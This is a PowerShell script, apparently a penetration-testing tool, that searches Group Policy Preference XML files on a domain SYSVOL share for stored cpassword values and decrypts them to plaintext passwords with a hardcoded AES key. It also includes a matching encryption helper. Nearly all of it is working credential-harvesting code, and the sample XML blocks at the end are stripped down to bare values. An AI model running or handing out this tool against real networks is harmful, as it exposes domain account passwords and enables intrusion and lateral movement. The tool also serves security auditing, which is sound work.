# Author: Scott Sutherland, NetSPI (@_nullbind / nullbind)
# This is for parsing group policy preference files and should support groups.xml, datasources.xml, drives.xml, printers.xml, scheduletasks.xml, and services.xml
function Get-GPPPasswordMod {
<#
.SYNOPSIS
Retrieves plaintext passwords from specified Group Policy XML files and provides functionality to encrypt passwords.
.DESCRIPTION
This function processes specified GPP XML files and retrieves plaintext passwords for accounts pushed through Group Policy Preferences.
It also provides a method to encrypt passwords for use in XML files.
.EXAMPLE
PS C:\> Get-GPPPasswordMod -InputFilePath "\\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences"
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false)]
[string]$InputFilePath
)
# ----------------------------------------------------------------
# Function to decrypt cpassword
# ----------------------------------------------------------------
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
# Append padding
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' { $Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1) }
'2' { $Cpassword += ('=' * (4 - $Mod)) }
'3' { $Cpassword += ('=' * (4 - $Mod)) }
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
} catch { Write-Error $Error[0] }
}
# ----------------------------------------------------------------
# Setup data table to store GPP Information
# ----------------------------------------------------------------
if ($InputFilePath) {
$TableGPPPasswords = New-Object System.Data.DataTable
$TableGPPPasswords.Columns.Add('NewName') | Out-Null
$TableGPPPasswords.Columns.Add('Changed') | Out-Null
$TableGPPPasswords.Columns.Add('UserName') | Out-Null
$TableGPPPasswords.Columns.Add('CPassword') | Out-Null
$TableGPPPasswords.Columns.Add('Password') | Out-Null
$TableGPPPasswords.Columns.Add('File') | Out-Null
# ----------------------------------------------------------------
# Find, parse, decrypt, and display results from XML files
# ----------------------------------------------------------------
$XmlFiles = Get-ChildItem -Path $InputFilePath -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','ScheduledTasks.xml','DataSources.xml','Printers.xml','Drives.xml'
# Parse GPP config files
$XmlFiles | ForEach-Object {
$FileFullName = $_.FullName
$FileName = $_.Name
# Read the file content as a string
$fileContentString = Get-Content -Path "$FileFullName" -Raw
try {
# Attempt to load the XML content
[xml]$FileContent = [xml]$fileContentString
} catch {
Write-Error "Failed to parse XML in file '$FileFullName'. Error: $_"
return
}
# Process Drives.xml
if ($FileName -eq "Drives.xml") {
$FileContent.Drives.Drive | ForEach-Object {
[string]$Username = $_.Properties.username
[string]$CPassword = $_.Properties.cpassword
[string]$Password = Get-DecryptedCpassword $CPassword
[datetime]$Changed = $_.Changed
[string]$NewName = ""
$TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null
}
}
# Process Groups.xml
if ($FileName -eq "Groups.xml") {
$FileContent.Groups.User | ForEach-Object {
[string]$Username = $_.Properties.username
[string]$CPassword = $_.Properties.cpassword
[string]$Password = Get-DecryptedCpassword $CPassword
[datetime]$Changed = $_.Changed
[string]$NewName = $_.Properties.newname
$TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null
}
}
# Process Services.xml
if ($FileName -eq "Services.xml") {
$FileContent.NTServices.NTService | ForEach-Object {
[string]$Username = $_.Properties.accountname
[string]$CPassword = $_.Properties.cpassword
[string]$Password = Get-DecryptedCpassword $CPassword
[datetime]$Changed = $_.Changed
[string]$NewName = ""
$TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null
}
}
# Process ScheduledTasks.xml
if ($FileName -eq "ScheduledTasks.xml") {
$FileContent.ScheduledTasks.Task | ForEach-Object {
[string]$Username = $_.Properties.runas
[string]$CPassword = $_.Properties.cpassword
[string]$Password = Get-DecryptedCpassword $CPassword
[datetime]$Changed = $_.Changed
[string]$NewName = ""
$TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null
}
}
# Process DataSources.xml
if ($FileName -eq "DataSources.xml") {
$FileContent.DataSources.DataSource | ForEach-Object {
[string]$Username = $_.Properties.username
[string]$CPassword = $_.Properties.cpassword
[string]$Password = Get-DecryptedCpassword $CPassword
[datetime]$Changed = $_.Changed
[string]$NewName = ""
$TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null
}
}
# Process Printers.xml
if ($FileName -eq "Printers.xml") {
$FileContent.Printers.SharedPrinter | ForEach-Object {
[string]$Username = $_.Properties.username
[string]$CPassword = $_.Properties.cpassword
[string]$Password = Get-DecryptedCpassword $CPassword
[datetime]$Changed = $_.Changed
[string]$NewName = ""
$TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null
}
}
}
# Check if anything was found
if (-not $XmlFiles) {
throw 'No preference files found.'
return
}
# Display results
$TableGPPPasswords
}
# Allow users to encrypt passwords
function Set-EncryptedCpassword {
[CmdletBinding()]
Param (
[Parameter(Mandatory=$true)]
[string]$Password
)
# Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$EncryptorObject = $AesObject.CreateEncryptor()
# Convert password to byte array and encrypt
[Byte[]] $InputBytes = [System.Text.Encoding]::Unicode.GetBytes($Password)
[Byte[]] $EncryptedBytes = $EncryptorObject.TransformFinalBlock($InputBytes, 0, $InputBytes.Length)
$EncryptedCpassword = [Convert]::ToBase64String($EncryptedBytes)
return $EncryptedCpassword
}
}
# Example path to the directory containing the GPP XML files
$pathToGPPFiles = "c:\temp\configs\ScheduledTasks.xml"
# Call the function
$gppPasswords = Get-GPPPasswordMod -InputFilePath $pathToGPPFiles
# Display the results
$gppPasswords
<# Bonus function for encrypting password
# ----------------------------------------------------------------
# Function to encrypt a password
# ----------------------------------------------------------------
function Set-EncryptedCpassword {
[CmdletBinding()]
Param (
[Parameter(Mandatory=$true)]
[string]$Password
)
# Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$EncryptorObject = $AesObject.CreateEncryptor()
# Convert password to byte array and encrypt
[Byte[]] $InputBytes = [System.Text.Encoding]::Unicode.GetBytes($Password)
[Byte[]] $EncryptedBytes = $EncryptorObject.TransformFinalBlock($InputBytes, 0, $InputBytes.Length)
$EncryptedCpassword = [Convert]::ToBase64String($EncryptedBytes)
return $EncryptedCpassword
}
$plainTextPassword = "MyAwesomePassword!"
$encryptedPassword = Set-EncryptedCpassword -Password $plainTextPassword
Write-Output $encryptedPassword
#>
<# Printers.xml
#>
<# ScheduledTasks.xml
WIN-P3LTV7KC6IO\Administrator
Demo
%LogonDomain%\%LogonUser
InteractiveToken
LeastPrivilege
PT10M
PT1H
true
true
IgnoreNew
true
true
true
true
true
true
true
false
true
true
P3D
7
PT1M
3
2008-05-28T14:06:04
true
2008-05-28T14:06:08
true
1
2008-05-28T14:06:11
true
1
2008-05-28T14:06:16
true
1
true
true
true
true
true
RemoteConnect
true
RemoteConnect
true
SessionLock
true
SessionUnlock
a
b
c
a
b
c
d
e
f
aa
bb
WIN-P3LTV7KC6IO\Administrator
Demo ImdTask
%LogonDomain%\%LogonUser
InteractiveToken
HighestAvailable
PT10M
PT1H
true
false
IgnoreNew
true
true
true
false
false
true
true
false
false
false
P3D
7
calc.exe
#>
<# Services.xml
#>
<# Drives.xml
#>
<# Groups.xml
#>
<# DataSources.xml
#>